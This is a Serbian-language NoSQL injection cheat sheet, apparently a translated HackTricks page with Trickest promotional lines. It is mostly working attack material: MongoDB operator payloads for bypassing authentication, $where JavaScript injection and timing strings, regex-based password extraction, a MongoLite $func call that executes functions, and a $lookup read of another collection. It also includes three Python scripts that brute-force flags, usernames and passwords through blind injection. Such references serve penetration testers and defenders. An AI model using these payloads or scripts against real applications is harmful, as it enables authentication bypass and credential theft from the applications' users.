Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane od strane najnaprednijih alata zajednice.
Pribavite pristup danas:
Eksploatacija
U PHP-u možete poslati niz menjajući poslati parametar sa parameter=foo na parameter[arrName]=foo.
Eksploatiacije se zasnivaju na dodavanju Operatora :
Copy username[$ne] = 1 $password [ $ne]=1 #<Not Equals>
username[$regex] = ^adm $password [ $ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex] = . { 25} & pass[$ne] = 1 #Use the <regex> to find the length of a value
username[$eq] = admin & password[$ne] = 1 #<Equals>
username[$ne] = admin & pass[$lt] = s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne] = admin & pass[$gt] = s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where : "this.credits == this.debits" }# < I F > , can be used to execute code
Osnovno zaobilaženje autentifikacije
Korišćenje not equal ($ne) ili greater ($gt)
Copy #in URL
username[$ne] = toto & password[$ne] = toto
username[$regex] = .* & password[$regex] = .*
username[$exists] = true & password[$exists] = true
#in JSON
{ "username" : { "$ne" : null}, "password" : { "$ne" : null} }
{ "username" : { "$ne" : "foo" }, "password" : { "$ne" : "bar" } }
{ "username" : { "$gt" : undefined}, "password" : { "$gt" : undefined} }
SQL - Mongo
Copy query = { $where : `this.username == ' ${ username } '` }
Napadač može iskoristiti ovo unosom stringova kao što su admin' || 'a'=='a
, čime se upit vraća sve dokumente zadovoljavajući uslov sa tautologijom ('a'=='a'
). Ovo je analogno SQL injection napadima gde se unosi poput ' or 1=1-- -
koriste za manipulaciju SQL upitima. U MongoDB-u, slične injekcije se mogu izvršiti koristeći unose kao što su ' || 1==1//
, ' || 1==1%00
, ili admin' || 'a'=='a
.
Copy Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Ekstraktuj dužinu informacije
Copy username[$ne] = toto & password[$regex] = . { 1}
username[$ne] = toto & password[$regex] = . { 3}
# True if the length equals 1,3...
Izvuci data informacije
Copy in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
Copy /?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP Arbitrary Function Execution
Korišćenjem $func operatora iz MongoLite biblioteke (koja se koristi po defaultu) može biti moguće izvršiti proizvoljnu funkciju kao u ovom izveštaju .
Copy "user" :{ "$func" : "var_dump" }
https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png Dobijanje informacija iz različite kolekcije
Moguće je koristiti $lookup da se dobiju informacije iz različite kolekcije. U sledećem primeru, čitamo iz različite kolekcije pod nazivom users
i dobijamo rezultate svih unosa sa lozinkom koja odgovara wildcard-u.
NAPOMENA: $lookup
i druge agregacione funkcije su dostupne samo ako je korišćena aggregate()
funkcija za pretragu umesto češće korišćenih find()
ili findOne()
funkcija.
Copy [
{
"$lookup" : {
"from" : "users" ,
"as" : "resultado" , "pipeline" : [
{
"$match" : {
"password" : {
"$regex" : "^.*"
}
}
}
]
}
}
]
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane od strane najnaprednijih alata zajednice.
Pribavite pristup danas:
MongoDB Payloads
Lista odavde
Copy true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Blind NoSQL Script
Copy import requests , string
alphabet = string . ascii_lowercase + string . ascii_uppercase + string . digits + "_@ {} -/()!\"$%=^[]:;"
flag = ""
for i in range ( 21 ):
print ( "[i] Looking for char number " + str (i + 1 ))
for char in alphabet :
r = requests . get ( "http://chall.com?param=^" + flag + char)
if ( "<TRUE>" in r . text) :
flag += char
print ( "[+] Flag: " + flag)
break
Copy import requests
import urllib3
import string
import urllib
urllib3 . disable_warnings ()
username = "admin"
password = ""
while True :
for c in string . printable :
if c not in [ '*' , '+' , '.' , '?' , '|' ] :
payload = '{"username": {"$eq": " %s "}, "password": {"$regex": "^ %s " }} ' % (username , password + c)
r = requests . post (u, data = { 'ids' : payload}, verify = False )
if 'OK' in r . text :
print ( "Found one more char : %s " % (password + c))
password += c
Brute-force prijava korisničkih imena i lozinki iz POST prijave
Ovo je jednostavan skript koji možete modifikovati, ali prethodni alati takođe mogu obaviti ovaj zadatak.
Copy import requests
import string
url = "http://example.com"
headers = { "Host" : "exmaple.com" }
cookies = { "PHPSESSID" : "s3gcsgtqre05bah2vt6tibq8lsdfk" }
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password ( username ):
print ( "Extracting password of " + username)
params = { "username" : username , "password[$regex]" : "" , "login" : "login" }
password = "^"
while True :
for c in possible_chars :
params [ "password[$regex]" ] = password + c + ".*"
pr = requests . post (url, data = params, headers = headers, cookies = cookies, verify = False , allow_redirects = False )
if int (pr.status_code) == 302 :
password += c
break
if c == possible_chars [ - 1 ]:
print ( "Found password " + password[ 1 :]. replace ( "\\" , "" ) + " for username " + username)
return password [ 1 :]. replace ( "\\" , "" )
def get_usernames ( prefix ):
usernames = []
params = { "username[$regex]" : "" , "password[$regex]" : ".*" }
for c in possible_chars :
username = "^" + prefix + c
params [ "username[$regex]" ] = username + ".*"
pr = requests . post (url, data = params, headers = headers, cookies = cookies, verify = False , allow_redirects = False )
if int (pr.status_code) == 302 :
print (username)
for user in get_usernames (prefix + c):
usernames . append (user)
return usernames
for u in get_usernames ( "" ):
get_password (u)
Alati
Reference
Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas: